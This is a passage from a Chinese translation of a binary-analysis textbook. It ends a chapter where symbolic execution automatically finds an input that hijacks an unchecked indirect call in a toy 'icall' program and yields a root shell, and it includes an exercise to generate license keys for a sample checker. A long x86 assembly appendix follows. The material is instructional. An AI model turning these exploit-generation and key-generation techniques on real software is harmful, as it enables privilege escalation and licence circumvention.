当间接调用即将执行➐时,exploit_callsite.py 尝试找到一个模型,该模型生成一组用户输入,这些输入的哈希值对应于调用目标 0x400b3b,即秘密管理员区域的地址 ➑。请注意,这一步可能需要一些时间,具体取决于你的硬件配置,可能会花费几分钟。不幸的是,解算器未能找到一个模型,因此 exploit_callsite.py 停止执行,并未找到利用方法。

幸运的是,这并不意味着没有利用方法存在。回想一下,你已将输入字符串 AAA 提供给 icall 的符号执行,并且 exploit_callsite.py 为该字符串中的三个输入字节创建了一个单独的符号变量。因此,解算器尝试基于长度为 3 的用户输入字符串找到一个利用模型。因此,解算器未能找到利用方法仅仅意味着没有长度为 3 的输入字符串能形成合适的利用方法,但你可能会在其他长度的输入中更幸运。为了避免手动尝试每种可能的输入长度,你可以自动化这个过程,正如 列表 13-19 所示。

列表 13-19:使用不同输入长度进行脚本化的利用尝试

   $ cd ~/triton/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton/build
➋ $ for i in $(seq 1 100); do
      str=`python -c "print 'A'*"${i}`
      echo "Trying input len ${i}"
➌    ./triton ~/code/chapter13/exploit_callsite.py ~/code/chapter13/icall 2 ${str} \
       | grep -a SymVar
     done
➍ Trying input len 1
   Trying input len 2
   Trying input len 3
   Trying input len 4
➎ SymVar_0 = 0x24 (argv[2][0])
   SymVar_1 = 0x2A (argv[2][1])
 SymVar_2 = 0x58 (argv[2][2])
   SymVar_3 = 0x26 (argv[2][3])
   SymVar_4 = 0x40 (argv[2][4])
   SymVar_5 = 0x20 (argv[1][0])
   SymVar_6 = 0x40 (argv[1][1])
   Trying input len 5
➏ SymVar_0 = 0x64 (argv[2][0])
   SymVar_1 = 0x2A (argv[2][1])
   SymVar_2 = 0x58 (argv[2][2])
   SymVar_3 = 0x26 (argv[2][3])
   SymVar_4 = 0x3C (argv[2][4])
   SymVar_5 = 0x40 (argv[2][5])
   SymVar_6 = 0x40 (argv[1][0])
   SymVar_7 = 0x40 (argv[1][1])
   Trying input len 6
   ˆC

在这里,我使用了一个bash for语句来循环遍历从 1 到 100 之间的所有整数 i ➊。每次迭代中,循环创建一个由 i 个字母“A”组成的字符串 ➋,然后尝试使用这个长度为 i 的字符串作为用户输入 ➌,就像你在列表 13-18 中看到的长度为 3 的情况一样。^(8)

为了减少输出中的杂乱,你可以使用grep命令只显示包含 SymVar 字样的输出行。这确保了输出中只显示来自成功模型的行,而那些没有生成模型的漏洞生成尝试则会静默失败。

漏洞循环的输出从 ➍ 开始。它未能为输入长度 1 到 3 找到模型,但在长度 4 ➎ 和长度 5 ➏ 时成功了。由于已经找到了漏洞,我在此停止了执行,因为不需要再尝试更多的输入长度。

让我们尝试输出中报告的第一个漏洞(长度为 4 的那个)。为了将这个输出转换为漏洞字符串,你需要将求解器分配给符号变量的 ASCII 字符串连接起来,这些符号变量对应于argv[2][0]argv[2][3],因为这些是作为输入传递给 icall 哈希函数的用户输入字节。如你在列表 13-19 中看到的,求解器为这些字节分别选择了值0x240x2A0x580x26argv[2][4]处的字节应该是用户输入字符串的结束符NULL,但是求解器不知道这一点,所以选择了随机输入字节0x40,你可以放心忽略它。

在模型中分配给argv[2][0]argv[2][3]的字节对应于 ASCII 漏洞字符串$*X&。让我们尝试将这个漏洞字符串作为输入传递给 列表 13-20 中的icall

列表 13-20:利用 icall 程序

➊ $ cd ~/code/chapter13
➋ $ ./icall 2 '$*X&'
➌ Calling 0x400b3b
➍ # whoami
  root

为了尝试这个漏洞,你需要回到本章的代码目录,在那里icall是➊,然后使用超出边界的索引 2 和刚生成的漏洞字符串 ➋ 来调用 icall。如你所见,漏洞字符串的哈希值正好为0x400b3b,这是秘密管理员区域的地址 ➌。由于用户提供的函数指针索引没有进行边界检查,你成功地欺骗了icall,让它调用了该地址,并给你一个 root shell ➍。如你所见,命令whoami输出了root,验证了你已经获得了 root shell。你已经通过符号执行自动生成了一个漏洞!

13.6 小结

在本章中,你学会了如何使用符号执行来构建工具,自动揭示关于二进制程序的非平凡信息。符号执行是最强大的二进制分析技术之一,尽管你需要小心使用它,以最小化可扩展性问题。正如你在自动利用示例中看到的,你可以通过将符号执行工具与其他技术(如动态污点分析)结合,进一步提高其有效性。

如果你已经完整阅读了本书,你现在应该熟悉多种二进制分析技术,这些技术可以用于各种目标,从黑客攻击和安全测试到逆向工程、恶意软件分析和调试。我希望这本书能够帮助你更有效地进行自己的二进制分析项目,并为你提供了一个坚实的基础,继续在二进制分析领域学习,甚至通过你自己的贡献推动这一领域的发展!

练习

1. 生成许可证密钥

在本章的代码目录中,你会找到一个名为license.c的程序,它接受一个序列号作为输入并检查其是否有效(类似于商业软件中的许可证密钥检查)。使用 Triton 制作一个符号执行工具,能够生成license.c接受的有效许可证密钥。

第四部分

附录

附录:A

X86 汇编速成课程

因为汇编语言是你在二进制文件中找到的机器指令的标准表示方式,许多二进制分析都是基于反汇编的。因此,熟悉 x86 汇编语言的基础知识对最大化地利用本书非常重要。本附录将介绍你需要了解的基础知识,以便跟上内容。

本附录的目的不是教你如何编写汇编程序(有专门的书籍讲解这个主题),而是展示你理解反汇编程序所需了解的基本内容。你将了解汇编程序和 x86 指令的结构以及它们在运行时的行为。此外,你还将看到 C/C++程序中常见的代码结构如何在汇编级别表现。我只会涵盖基本的 64 位用户模式 x86 指令,不包括浮点指令或扩展指令集,如 SSE 或 MMX。为了简洁起见,我将把 x86 的 64 位变种(x86-64 或 x64)简称为 x86,因为这是本书的重点。

A.1 汇编程序的布局

清单 A-1 显示了一个简单的 C 程序,而 清单 A-2 显示了由gcc 5.4.0 生成的相应汇编程序。(第一章 解释了编译器如何将 C 程序转换为汇编列表,并最终转化为二进制文件。)

当你反汇编一个二进制文件时,反汇编器本质上会尝试将其翻译回一个准确的汇编列表,尽可能接近编译器生成的汇编代码。现在,让我们先看看汇编程序的布局,暂时不深入讨论汇编指令。

清单 A-1:C 语言中的“Hello, world!”

  #include <stdio.h>

  int
➊ main(int argc, char *argv[])
  {
     ➋printf(➌"Hello, world!\n");

     return 0;
  }

清单 A-2:由 gcc 生成的汇编

      .file "hello.c"
      .intel_syntax noprefix
➍    .section .rodata
  .LC0:
➎    .string "Hello, world!"
➏    .text
     .globl  main
     .type   main, @function
➐ main
      push    rbp
      mov     rbp, rsp
      sub     rsp, 16
      mov     DWORD PTR [rbp-4], edi
      mov     QWORD PTR [rbp-16], rsi
➑    mov     edi, OFFSET FLAT:.LC0
➒    call    puts
      mov     eax, 0
      leave
      ret
      .size    main, .-main
      .ident  "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9)"
      .section .note.GNU-stack,"",@progbits

清单 A-1 由一个 main 函数 ➊ 组成,该函数调用 printf ➋ 打印常量 "Hello, world!" 字符串 ➌。从高层次来看,相应的汇编程序包含四种类型的组件:指令、指令、标签和注释。

A.1.1 汇编指令、指令、标签和注释

表 A-1 显示了每种组件类型的示例。请注意,每种组件的确切语法因汇编器或反汇编器而异。对于本书而言,你无需对任何汇编器的语法特性非常熟悉;你只需要学会阅读和分析反汇编代码,而不是编写自己的汇编代码。在这里,我将使用由gcc-masm=intel选项生成的汇编语法。

表 A-1: 汇编程序的组成部分

类型 示例 含义
指令 mov eax, 0 将零存入 eax
指令 .section .text 将以下内容放入 .text 区段
指令 .string "foobar" 定义一个包含 "foobar" 的 ASCII 字符串
指令 .long 0x12345678 定义一个值为0x12345678的双字
标签 foo: .string "foobar" 定义一个符号名为foo"foobar"字符串
注释 # this is a comment 一条可读的注释

指令是 CPU 执行的实际操作。指令是告诉汇编器生成特定数据、将指令或数据放入特定区域等命令。最后,标签是可以用来引用汇编程序中指令或数据的符号名称,注释是供文档使用的可读字符串。在程序汇编并链接成二进制文件后,所有符号名称都会被地址替代。

示例 A-2 中的汇编程序指示汇编器将"Hello, world!"字符串放入.rodata段 ➍➎,该段专门用于存储常量数据。指令.section告诉汇编器将以下内容放入哪个段,而.string是一个指令,用于定义 ASCII 字符串。还有一些用于定义其他类型数据的指令,例如.byte(定义一个字节),.word(一个 2 字节字),.long(一个 4 字节双字),以及.quad(一个 8 字节四字)。

main函数被放置在.text段 ➏➐,该段专门用于存储代码。.text指令是.section .text的简写,而main:main函数引入了一个符号标签。

标签后面跟着的是main包含的实际指令。这些指令可以通过符号引用之前声明的数据,例如.LC0 ➑(gcc"Hello, world!"字符串选择的符号名称)。因为程序打印一个常量字符串(没有可变参数),gccprintf调用替换为puts ➒调用,这是一个更简单的函数,用来将指定的字符串输出到屏幕上。

A.1.2 代码与数据的分离

在示例 A-2 中,你可以观察到一个关键点,即编译器通常将代码和数据分开到不同的段中。这在你反汇编或分析二进制文件时很方便,因为你知道程序中的哪些字节是代码,哪些是数据。然而,x86 架构本身并没有限制你将代码和数据混合在同一段中,实际上,有些编译器或手写汇编程序就是这样做的。

A.1.3 AT&T 与 Intel 语法

如前所述,不同的汇编器使用不同的语法来表示汇编程序。除此之外,x86 机器指令有两种不同的语法格式:Intel 语法AT&T 语法

AT&T 语法在每个寄存器名称前面显式添加 % 符号,在每个常量前面添加 $ 符号,而 Intel 语法则省略这些符号。在本书中,我使用 Intel 语法,因为它较为简洁。AT&T 和 Intel 语法的最重要区别在于它们的操作数顺序完全相反。在 AT&T 语法中,源操作数在目标操作数之前,因此将常量移动到 edi 寄存器的写法如下:

mov    $0x6,%edi

相比之下,Intel 语法将相同的指令表示如下,目标操作数在前:

mov    edi,0x6

牢记操作数的顺序非常重要,因为在深入进行二进制分析时,你可能会遇到两种语法风格。

A.2 x86 指令的结构

现在你对汇编程序的结构有了一定的了解,让我们来看看汇编指令的格式。你还将看到汇编所表示的机器级指令的结构。

A.2.1 x86 指令的汇编级表示

在汇编级别,x86 指令通常采用 助记符 目标操作数, 源操作数 的形式。助记符是机器指令的可读表示,源操作数和目标操作数是指令的操作数。例如,汇编指令 mov rbx, raxrax 寄存器中的值复制到 rbx 中。请注意,并非所有指令都有恰好两个操作数;有些指令甚至没有操作数,如你接下来将看到的那样。

如前所述,助记符是 CPU 理解的机器指令的高级表示。让我们简要了解一下 x86 指令在机器级别的结构。这在某些二进制分析场景中非常有用,比如当你修改现有的二进制文件时。

A.2.2 x86 指令的机器级结构

x86 ISA 使用可变长度的指令;有些 x86 指令只有 1 个字节,但也有多字节指令,最长可达 15 字节。此外,指令可以从任何内存地址开始。这意味着 CPU 不强制要求特定的代码对齐,尽管编译器通常会对代码进行对齐,以优化从内存中获取指令的性能。图 A-1 显示了 x86 指令的机器级结构。

image

图 A-1:x86 指令的结构

一条 x86 指令由可选的前缀、一个操作码和零个或多个操作数组成。请注意,除了操作码外,其他部分都是可选的。

操作码是指令类型的主要标识符。例如,操作码 0x90 编码的是 nop 指令,它什么都不做,而操作码 0x000x05 编码的是各种类型的 add 指令。前缀可以修改指令的行为,例如,导致指令重复执行多次或访问不同的内存段。最后,操作数是指令所操作的数据。

寻址模式字节,也称为MOD-R/MMOD-REGR/M字节,包含关于指令操作数类型的元数据。SIB(比例/索引/基址)字节和位移用于编码内存操作数,立即数字段可以包含立即数操作数(常量数值)。稍后你将更详细地了解这些字段的含义。

除了图 A-1 中显示的显式操作数外,一些指令还具有隐式操作数。这些操作数并没有在指令中明确编码,但它们是操作码固有的。例如,操作码0x05add指令)的目标操作数总是rax,只有源操作数是可变的,需要明确编码。另一个例子是,push指令隐式地更新rsp(栈指针寄存器)。

在 x86 中,指令可以有三种不同类型的操作数:寄存器操作数、内存操作数和立即数。我们来看一下每种有效的操作数类型。

A.2.3 寄存器操作数

寄存器是位于 CPU 本身的小型、快速访问的存储单元。有些寄存器具有特殊功能,例如跟踪当前执行地址的指令指针,或跟踪栈顶的栈指针。其他寄存器则是用于存储 CPU 执行的程序中变量的通用存储单元。

通用寄存器

在 x86 架构所基于的原始 8086 指令集上,寄存器是 16 位宽的。32 位的 x86 指令集扩展了这些寄存器至 32 位,x86-64 进一步扩展至 64 位。为了保持向后兼容性,较新指令集中的寄存器是较旧寄存器的超集。

要在汇编中指定一个寄存器操作数,你需要使用寄存器的名称。例如,mov rax,64 将值 64 移动到rax寄存器中。图 A-2 展示了 64 位的rax寄存器如何细分成传统的 32 位和 16 位寄存器。rax的低 32 位组成一个名为eax的寄存器,而其低 16 位则组成原始的 8086 寄存器ax。你可以通过寄存器名al访问ax的低字节,通过ah访问高字节。

image

图 A-2:x86-64 rax 寄存器的细分

其他寄存器有类似的命名规则。表 A-2 展示了 x86-64 上可用的通用寄存器名称,以及可用的传统“子寄存器”。r8r15寄存器是 x86-64 中新增的,在早期的 x86 变种中不可用。请注意,如果你设置了一个 32 位的子寄存器,如eax,这会自动将父寄存器(在这种情况下是rax)中的其他位清零;而设置较小的子寄存器,如axalah,则保留其他位。

表 A-2: x86 通用寄存器

描述 64 位 低 32 位 低 16 位 低字节 第二字节
累加器 rax eax ax al ah
基址 rbx ebx bx bl bh
计数器 rcx ecx cx cl ch
数据 rdx edx dx dl dh
堆栈 pointer rsp esp sp spl
基址 pointer rbp ebp bp bpl
源索引 rsi esi si sil
目标索引 rdi edi di dil
x86-64 通用寄存器 r8–r15 r8d–r15d r8w–r15w r8l–r15l

不要过分关注大多数寄存器的描述列。这些描述源自 8086 指令集,但如今,大多数在表 A-2 中显示的寄存器是可以互换使用的。正如你在第 A.4.1 节中看到的那样,栈指针(rsp)和基指针(rbp)被认为是特殊的,因为它们用于跟踪栈的布局,尽管原则上你可以将它们用作通用寄存器。

其他寄存器

除了表 A-2 中显示的寄存器,x86 CPU 还包含一些非通用寄存器。最重要的两个是 rip(在 32 位 x86 上称为 eip,在 8086 上称为 ip)和 rflags(在较旧的指令集架构中称为 eflagsflags)。指令指针总是指向下一条指令的地址,并由 CPU 自动设置;你不能手动写入它。在 x86-64 上,你可以读取指令指针的值,但在 32 位 x86 上,甚至连这一点都做不到。状态标志寄存器用于比较和条件跳转,跟踪诸如上次操作是否结果为零、是否溢出等信息。

x86 指令集架构还有段寄存器,如 csdsssesfsgs,你可以使用它们将内存分割成不同的段。段式管理大多已经不再使用,x86-64 也大部分放弃了对其的支持,所以我在这里不会详细介绍段式管理。如果你有兴趣了解更多,可以参考一本专门讲解 x86 汇编的书籍。

还有一些控制寄存器,如 cr0cr10,内核用它们来控制 CPU 的行为,例如切换保护模式和实模式。此外,寄存器 dr0dr7调试寄存器,提供硬件支持调试功能,如断点。在 x86 上,控制和调试寄存器无法从用户模式访问;只有内核可以访问它们。因此,我在本附录中不会进一步讲解这些寄存器。

还有各种特定模型寄存器(MSRs)和在扩展指令集(如 SSE 和 MMX)中使用的寄存器,这些寄存器并非所有 x86 CPU 都有。你可以使用cpuid指令来查找 CPU 支持哪些特性,并使用rdmsrwrmsr指令来读取或写入特定模型寄存器。由于许多这些特殊寄存器仅在内核中可用,因此你在本书中不需要处理它们。

A.2.4 内存操作数

内存操作数指定 CPU 应从中获取一个或多个字节的内存地址。x86 ISA 每条指令仅支持一个显式内存操作数。也就是说,你不能在一条指令中直接将字节从一个内存位置复制到另一个位置。要做到这一点,你必须使用寄存器作为中介存储。

在 x86 中,你通过[基址 + 索引*比例 + 位移]来指定内存操作数,其中基址索引是 64 位寄存器,比例是一个整数,值为 1、2、4 或 8,位移是 32 位常数或符号。所有这些组件都是可选的。CPU 计算内存操作数表达式的结果,得到最终的内存地址。基址、索引和比例被编码在指令的 SIB 字节中,而位移则被编码在同名字段中。比例默认值为 1,位移默认值为 0。

这种内存操作数格式足够灵活,可以以简单直接的方式支持许多常见的代码范式。例如,你可以使用类似mov eax, DWORD PTR [rax*4 + arr]的指令来访问数组元素,其中arr是包含数组起始地址的位移量,rax包含你要访问的元素的索引,每个数组元素占 4 个字节。这里,DWORD PTR告诉汇编器你想从内存中获取 4 个字节(一个双字或 DWORD)。类似地,访问struct中字段的一种方式是将struct的起始地址存储在基址寄存器中,并添加你想访问字段的位移量。

在 x86-64 上,你可以使用rip(指令指针)作为内存操作数中的基址,尽管在这种情况下你不能使用索引寄存器。编译器常常利用这一点来实现位置无关代码和数据访问等功能,因此你会在 x86-64 二进制文件中看到大量rip相对寻址。

A.2.5 立即数

立即数是指令中硬编码的常数整数操作数。例如,在指令add rax, 42中,值 42 就是一个立即数。

在 x86 中,立即数以小端格式编码;多字节整数的最低有效字节首先出现在内存中。换句话说,如果你编写类似mov ecx, 0x10203040的汇编指令,相应的机器级指令会以字节反转的形式编码立即数,变成0x40302010

为了编码有符号整数,x86 使用二进制补码表示法,这种方法通过获取该值的正值,然后翻转所有位并加 1,同时忽略溢出,来表示负数。例如,要编码值为 −1 的 4 字节整数,首先取整数0x00000001(十六进制表示 1),翻转所有位得到0xfffffffe,然后加 1 得到最终的二进制补码表示0xffffffff。当你在反汇编代码时看到一个立即数或内存值以大量0xff字节开头时,通常说明它是一个负值。

现在你已经了解了 x86 指令的基本格式和工作原理,接下来让我们看看一些常见指令的语义,这些指令你将在本书以及自己的二进制分析项目中遇到。

A.3 常见的 x86 指令

表 A-3 描述了常见的 x86 指令。要了解表中未列出的指令,可以在在线参考资料中查找,例如ref.x86asm.net/,或在 Intel 手册中查找software.intel.com/en-us/articles/intel-sdm/。表中列出的指令大部分是自解释的,但其中有一些需要更详细的讨论。

表 A-3: 常见的 x86 指令

指令 描述
数据传输
mov dst, src dst = src
xchg dst1, dst2 交换dst1dst2
push src src压入堆栈并递减rsp
pop dst 从堆栈中弹出值到dst并递增rsp
算术操作
add dst, src dst += src
sub dst, src dst -= src
inc dst dst += 1
dec dst dst -= 1
neg dst dst = –dst
cmp src1, src2 根据src1 – src2设置状态标志
逻辑/按位操作
and dst, src dst &= src
or dst, src *dst
xor dst, src dst ^= src
not dst dst = ~dst
test src1, src2 根据src1 & src2设置状态标志
无条件跳转
jmp addr 跳转到地址
call addr 将返回地址压入堆栈,然后调用位于地址的函数
ret 从堆栈中弹出返回地址并返回到该地址
syscall 进入内核执行系统调用

| 条件跳转(基于状态标志) jcc addr 仅在条件cc成立时跳转到地址,否则继续执行 |

jncc 反转条件,如果条件不成立则跳转 |

je addr/jz addr 如果零标志被设置则跳转(例如,操作数在上次cmp中相等)
ja addr 如果dst > src(“大于”)在上次比较中(无符号)则跳转
jb addr 如果dst < src(“小于”)在上次比较中(无符号)则跳转
jg addr 如果dst > src(“大于”)在上次比较中(有符号)则跳转
jl addr 如果上次比较结果为 dst < src(“小于”)则跳转(有符号)
jge addr 如果上次比较结果为 dst >= src(有符号)则跳转
jle addr 如果上次比较结果为 dst <= src(有符号)则跳转
js addr 如果上次比较设置了符号位(表示结果为负)则跳转
其他杂项
lea dst, src 将内存地址加载到 dst 中(dst = &src,其中 src 必须在内存中)nop 不执行任何操作(例如用于代码填充)

首先,值得注意的是,mov ➊ 有些名不副实,因为它并不真正 移动 源操作数到目标位置。实际上,它是复制源操作数,源操作数保持不变。pushpop 指令 ➋ 在堆栈管理和函数调用中具有特殊意义,稍后你将会看到。

A.3.1 比较操作数并设置状态标志

cmp 指令 ➌ 在实现条件跳转时非常重要。它将第二个操作数从第一个操作数中减去,但并不会将操作结果存储到某个地方,而是根据结果在 rflags 寄存器中设置状态标志。随后的条件跳转会检查这些状态标志,以决定是否进行跳转。重要的标志包括 零标志(ZF)符号标志(SF)溢出标志(OF),分别表示比较结果为零、负数或溢出。

test 指令 ➍ 与 cmp 类似,但它通过操作数的按位与(bitwise AND)来设置状态标志,而不是通过减法操作。值得注意的是,除了 cmptest 之外,还有一些其他指令也会设置状态标志。Intel 手册或在线指令参考文档会显示每条指令设置的具体标志。

A.3.2 实现系统调用

要执行系统调用,你需要使用 syscall 指令 ➎。在使用之前,你必须按照操作系统的要求准备好系统调用,选择系统调用编号并设置操作数。例如,要在 Linux 上执行 read 系统调用,你需要将值 0(read 的系统调用编号)加载到 rax 中;然后将文件描述符、缓冲区地址和要读取的字节数分别加载到 rdirsirdx 中;最后执行 syscall 指令。

要了解如何在 Linux 上配置系统调用,请参考 man syscalls 或像 filippo.io/linux-syscall-table/ 这样的在线参考资料。请注意,在 32 位 x86 系统上,你使用 sysenterint 0x80 来进行系统调用(这会触发中断向量 0x80 的软件中断),而不是使用 syscall。此外,不同操作系统的系统调用约定可能有所不同,Linux 以外的操作系统也可能有所不同。

A.3.3 实现条件跳转

条件跳转指令 ➏ 通过与先前设置状态标志的指令(如cmptest)配合工作来实现分支。如果给定的条件成立,它们会跳转到指定的地址或标签;如果条件不成立,则会跳转到下一条指令。例如,若要在rax < rbx(使用无符号比较)的情况下跳转到名为label的程序位置,你通常会使用如下的指令序列:

cmp rax, rbx
jb label

同样,如果rax不为零,要跳转到label,可以使用以下代码:

test rax, rax
jnz label

A.3.4 加载内存地址

最后,lea指令 ➐ (加载有效地址) 计算内存操作数(格式为[base + index*scale + displacement])产生的地址,并将其存储在一个寄存器中,但不会解引用该地址。这等同于 C/C++中的地址运算符(&)。例如,lea r12, [rip+0x2000]将表达式rip+0x2000产生的地址加载到r12寄存器中。

既然你已经熟悉了最重要的 x86 指令,让我们来看一下这些指令如何结合在一起,实现常见的 C/C++代码结构。

A.4 汇编中的常见代码结构

gccclang和 Visual Studio 等编译器,会生成一些常见的代码模式,用于实现像函数调用、if/else分支和循环这样的结构。你也会在手写的汇编代码中看到这些相同的代码模式。熟悉这些代码结构非常有帮助,这样你可以快速理解一段汇编或反汇编代码在做什么。让我们来看一下gcc 5.4.0生成的代码模式。其他编译器使用类似的模式。

你首先看到的代码结构是函数调用。但在你理解函数调用是如何在汇编层面实现之前,你需要了解在 x86 上的工作原理。

A.4.1 栈

栈是一个保留的内存区域,用于存储与函数调用相关的数据,如返回地址、函数参数和局部变量。在大多数操作系统中,每个线程都有自己的栈。

栈之所以得名,是因为它的访问方式。你不是在栈的任意位置写入值,而是以后进先出 (LIFO) 的顺序进行操作。也就是说,你可以通过压栈将值写入栈顶,并通过弹栈从栈顶移除值。这与函数调用非常吻合,因为它与函数的调用和返回方式一致:你最后调用的函数首先返回。图 A-3 展示了栈的访问模式。

在图 A-3 中,栈从地址0x7fffffff8000^(1)开始,最初包含五个值:ae。栈的其余部分包含未初始化的内存(标记为“?”)。在 x86 架构下,栈是向低地址方向增长的,这意味着新压入的值会位于比旧值更低的地址。栈指针寄存器(rsp)始终指向栈顶,也就是最近压入的值的位置。最初,这个位置是位于地址0x7fffffff7fe0e

image

图 A-3:将值 f 压入栈中,然后弹入 rax*

现在,当你压入一个新值 f 时,它会位于栈顶,rsp 会被递减以指向该位置。x86 架构上有专门的pushpop指令,用来在栈上插入或移除一个值,并自动更新rsp。类似地,x86 的call指令会自动将返回地址压入栈中,而ret指令则会弹出返回地址并跳转到该地址。

当你执行pop指令时,它会将栈顶的值复制到pop操作数中,然后递增rsp以反映新的栈顶。例如,图 A-3 中的pop rax指令会把 f 从栈中复制到rax寄存器中,并更新rsp指向 e,即新的栈顶。在弹出任何值之前,你可以先将任意数量的值压入栈中。当然,这取决于为栈分配的可用内存。

请注意,从栈中弹出一个值并不会清除它;它仅仅是复制该值并更新rsp。在pop操作之后,f 技术上仍然存在于内存中,直到被后续的push操作覆盖。如果你将敏感信息放到栈上,必须意识到除非你显式地清理它,否则它可能在后续仍然可以访问到。

现在你了解了栈的工作原理,让我们来看一下函数调用如何利用栈来存储它们的参数、返回地址和局部变量。

A.4.2 函数调用和函数帧

列表 A-3 展示了一个简单的 C 程序,包含两个函数调用,为了简洁起见省略了错误检查代码。首先,它调用getenv来获取argv[1]中指定的环境变量的值。然后,它使用printf打印这个值。

列表 A-4 展示了相应的汇编代码,该代码通过使用gcc 5.4.0编译 C 程序并使用objdump反汇编得到。请注意,对于这个示例,我使用了gcc的默认选项进行编译,如果启用优化或使用其他编译器,输出可能会有所不同。

列表 A-3:C 语言中的函数调用

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char *argv[])
{
  printf("%s=%s\n",
         argv[1], getenv(argv[1]));

  return 0;
}

列表 A-4:汇编中的函数调用

   Contents of section .rodata:
    400630 01000200 ➊25733d25 730a00 ....%s=%s..

   Contents of section .text:
   0000000000400566 <main>:
➋   400566:  push    rbp
     400567:  mov     rbp,rsp
➌   40056a:  sub     rsp,0x10
➍   40056e:  mov     DWORD PTR [rbp-0x4],edi
     400571:  mov     QWORD PTR [rbp-0x10],rsi
     400575:  mov     rax,QWORD PTR [rbp-0x10]
     400579:  add     rax,0x8
     40057d:  mov     rax,QWORD PTR [rax]
➎   400580:  mov     rdi,rax
➏   400583:  call    400430 <getenv@plt>
➐   400588:  mov     rdx,rax
     40058b:  mov     rax,QWORD PTR [rbp-0x10]
     40058f:  add     rax,0x8
     400593:  mov     rax,QWORD PTR [rax]
➑   400596:  mov     rsi,rax
     400599:  mov     edi,0x400634
     40059e:  mov     eax,0x0
➒   4005a3:  call    400440 <printf@plt>
➓   4005a8:  mov     eax,0x0
     4005ad:  leave
     4005ae:  ret

编译器将printf调用中使用的字符串常量%s=%s与代码分开存储,存储在.rodata(只读数据)区➊,地址为0x400634。你将在代码的后续部分看到这个地址作为printf参数使用。

原则上,x86 Linux 程序中的每个函数都有自己的函数框架(也叫栈框架),它被rbp(基指针)指向该函数框架的基址,rsp指向栈顶。函数框架用于存储函数的栈数据。请注意,在某些优化下,编译器可能会省略基指针(使得所有栈访问相对于rsp进行),并将rbp作为一个额外的通用寄存器使用。然而,以下示例假设所有函数都使用完整的函数框架。

图 A-4 显示了当你运行清单 A-4 中展示的程序时,为maingetenv创建的函数框架。为了理解这一点,让我们一起查看汇编清单,看看它如何生成图中所示的函数框架。

image

图 A-4:Linux 系统上 x86 函数框架示例

如第二章所述,main并不是典型 Linux 程序中首先运行的函数。现在,你只需要知道的是,main是通过一个call指令被调用的,该指令将返回地址放在栈上,main完成时会返回到这个地址(如图 A-4 左上角所示)。

函数序言、局部变量和读取参数

main做的第一件事是执行一个序言,设置它的函数框架。这个序言首先将rbp寄存器的内容保存在栈上,然后将rsp的值复制到rbp中➋(参见清单 A-4)。这样做的效果是保存了上一个函数框架的起始地址,并在栈顶创建了一个新的函数框架。由于push rbp; mov rbp,rsp指令序列非常常见,x86 有一条叫做enter的简写指令(在清单 A-4 中没有使用),它实现了相同的功能。

在 x86-64 Linux 中,rbx寄存器和r12r15寄存器保证不会被你调用的任何函数污染。这意味着,如果一个函数确实污染了这些寄存器,它必须在返回之前恢复它们的原始值。通常,函数通过将需要保存的寄存器压入栈中(紧接着保存的基指针),并在返回之前将它们弹出栈来实现这一点。在清单 A-4 中,main没有这样做,因为它没有使用这些寄存器。

在设置好基本的函数框架后,mainrsp 减少 0x10 字节,以在栈上为两个 8 字节的局部变量预留空间 ➌。尽管程序的 C 版本没有显式地为局部变量分配空间,gcc 会自动生成它们,用作 argcargv 的临时存储。在 x86-64 Linux 系统上,传递给函数的前六个参数分别通过 rdirsirdxrcxr8r9 寄存器传递。^(2) 如果有超过六个参数,或者某些参数无法放入 64 位寄存器,剩余的参数将以相反的顺序(与它们在参数列表中的顺序相反)被压入栈中,具体如下:

mov rdi, param1
mov rsi, param2
mov rdx, param3
mov rcx, param4
mov r8, param5
mov r9, param6
push param9
push param8
push param7

请注意,一些流行的 32 位 x86 调用约定(如 cdecl)将所有参数按相反顺序(不使用寄存器)压入栈中,而其他调用约定(如 fastcall)则将某些参数通过寄存器传递。

在栈上预留空间后,mainargc(存储在 rdi 中)复制到其中一个局部变量,将 argv(存储在 rsi 中)复制到另一个局部变量 ➍。Figure A-4 的左侧展示了 main 完成序言后栈的布局。

红区

你可能会注意到在 Figure A-4 中栈顶部的 128 字节“红区”。在 x86-64 上,函数可以将红区用作临时空间,并保证操作系统不会修改它(例如,如果信号处理程序需要设置一个新的函数框架)。随后调用的函数会覆盖红区的一部分作为它们自己的函数框架,因此红区最适用于所谓的 叶函数,即不调用其他任何函数的函数。只要叶函数使用的栈空间不超过 128 字节,红区就能免去这些函数显式设置函数框架的需要,从而减少执行时间。在 32 位 x86 上,没有红区的概念。

准备参数并调用函数

在函数序言之后,main 通过首先加载 argv[0] 的地址,然后加上 8 字节(指针大小),并解引用得到 argv[1],将其加载到 rax 中。它将这个指针复制到 rdi 中,作为 getenv 的参数 ➎,然后调用 getenv ➏(见 Listing A-4)。call 指令会自动将返回地址(即 call 指令后面那条指令的地址)压入栈中,getenv 在返回时会使用这个地址。由于 getenv 是库函数,这里不再详细讨论它的代码。我们可以简单假设,它通过保存 rbp、可能保存某些寄存器以及为局部变量预留空间来设置一个标准的函数框架。Figure A-4 的中间部分展示了 getenv 被调用并完成序言后的栈布局,假设它没有压入任何寄存器来保存。

getenv 完成后,它将返回值保存在 rax 中(这是指定用于此目的的标准寄存器),然后通过增加 rsp 清理栈上的局部变量。接着,它从栈中弹出保存的基指针到 rbp,恢复 main 的函数帧。此时,栈顶是保存的返回地址,在本例中是 main 中的 0x400588。最后,getenv 执行 ret 指令,从栈中弹出返回地址并跳转到该地址,将控制权交回给 main。图 A-4 右侧显示的是 getenv 返回后栈的布局。

读取返回值

main 函数将返回值(指向请求的环境字符串的指针)复制到 rdx 中,作为 printf 调用的第三个参数 ➐。接下来,main 以与之前相同的方式再次加载 argv[1],并将其存储在 rsi 中,作为 printf 的第二个参数 ➑。第一个参数(在 rdi 中)是格式字符串 %s=%s.rodata 部分的地址 0x400634,这在前面你已经看过了。

注意,与调用 getenv 不同,main 在调用 printf 之前将 rax 设置为零。这是因为 printf 是一个变参函数,它假定 rax 指定了通过向量寄存器传递的浮点参数的数量(在本例中没有浮点参数)。在准备好参数后,main 调用 printf ➒,将 printf 的返回地址压入栈中。

从函数返回

